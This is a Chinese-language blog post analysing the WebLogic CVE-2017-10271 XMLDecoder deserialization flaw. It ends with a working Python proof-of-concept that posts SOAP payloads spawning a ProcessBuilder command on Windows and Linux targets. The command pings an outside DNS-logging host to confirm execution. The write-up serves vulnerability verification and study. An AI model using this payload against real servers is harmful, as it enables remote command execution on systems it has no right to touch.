前言
WebLogic是美国Oracle公司出品的一个应用服务器,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
在 2015 年,WebLogic 曾被爆出反序列化漏洞,漏洞编号为 CVE-2015-4852,官方针对该漏洞发布了相应的补丁,但由于是采用黑名单方式过滤危险的反序列化类,所以存在被绕过的可能。2016 年的 CVE-2016-0638、今年 1 月份的 CVE-2017-3248,还有今天要说的 CVE-2017-10271,都是由于绕过了黑名单,通过未被过滤的反序列化类在目标机器上执行命令。
目前已发现大量攻击者利用这些漏洞入侵服务器后,投放木马进行挖矿。攻击者通过 WebLogic 反序列化漏洞执行系统命令,远程下载恶意脚本,随后恶意脚本主动连接攻击者网站下载挖矿木马进行挖矿。
下面是针对 CVE-2017-10271 的漏洞分析。
漏洞分析
漏洞的利用点在 wls-wsat 这个 war 文件提供的 web service 服务上,根据文件内的 web.xml 内容可以看到一共存在八个可攻击点:分别为 CoordinatorPortType,CoordinatorPortType11,RegistrationPortTypeRPC,RegistrationPortTypeRPC11,ParticipantPortType,ParticipantPortType11,RegistrationRequesterPortType,RegistrationRequesterPortType11。
这些 servlet 接受客户端传来的 XML 格式的 POST 数据包,然后将数据包交由 weblogic.jar 中的 WorkContextServerTube 类进行处理,该类位于 weblogic.wsee.jaxws.workcontext 中。
WorkContextServerTube 类使用 processRequest 方法对 POST 数据包中的 XML 数据进行解析:
localHeader1 变量为 XML 数据中 <work:WorkContext>…</work:WorkContext> 标签内的内容。该部分内容被传入到 readHeaderOld 函数中,该函数源码如下:
此时 ByteArrayInputStream(localByteArrayOutputStream.toByteArray()) 为可执行的 XML 内容,该内容被传递到 WorkContextXmlInputAdapter() 类的 XMLDecoder. readObject() 方法,从而导致反序列过程中的代码执行。
漏洞验证
搭建 WebLogic Server,确认其可以被正常访问。
将浏览器代理到 BurpSuite,访问 /wls-wsat/CoordinatorPortType 页面,修改数据包为 POST 数据包,Content-type 为 text/xml,POST 数据填充为漏洞利用 POC,如下:
发送数据包,服务器成功弹出计算器。
漏洞验证 POC
在脚本中修改 identifier 变量值为 http://ceye.io/profile 页面的 identifier(需注册账号),脚本执行结束后在 http://ceye.io/records/dns 页面查看结果。
使用方法: python weblogic-rce.py ip:port
如果存在如下图所示结果,说明存在漏洞。
# coding:utf-8
import requests
import sys
# http://ceye.io/profile 页面的 identifier
identifier = ''
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Content-Type': 'text/xml;charset=UTF-8'
}
def check(target):
ip = target.split(':')[0]
port = target.split(':')[1]
url = 'http://' + target + '/wls-wsat/CoordinatorPortType'
windows_post_str = '''
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>ping {ip}_{port}.{identifier} -n 2</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''.format(ip=ip, port=port, identifier=identifier)
linux_post_str = '''
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>"ping {ip}_{port}.{identifier} -c 2"</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''.format(ip=ip, port=port, identifier=identifier)
try:
requests.post(url, data=windows_post_str, headers=headers, timeout=10, verify=False)
except:
pass
try:
requests.post(url, data=linux_post_str, headers=headers, timeout=10, verify=False)
except:
pass
def main():
target = sys.argv[1]
check(target)
if __name__ == '__main__':
main()
参考
作者: JenI 转载请注明出处,谢谢
Comments !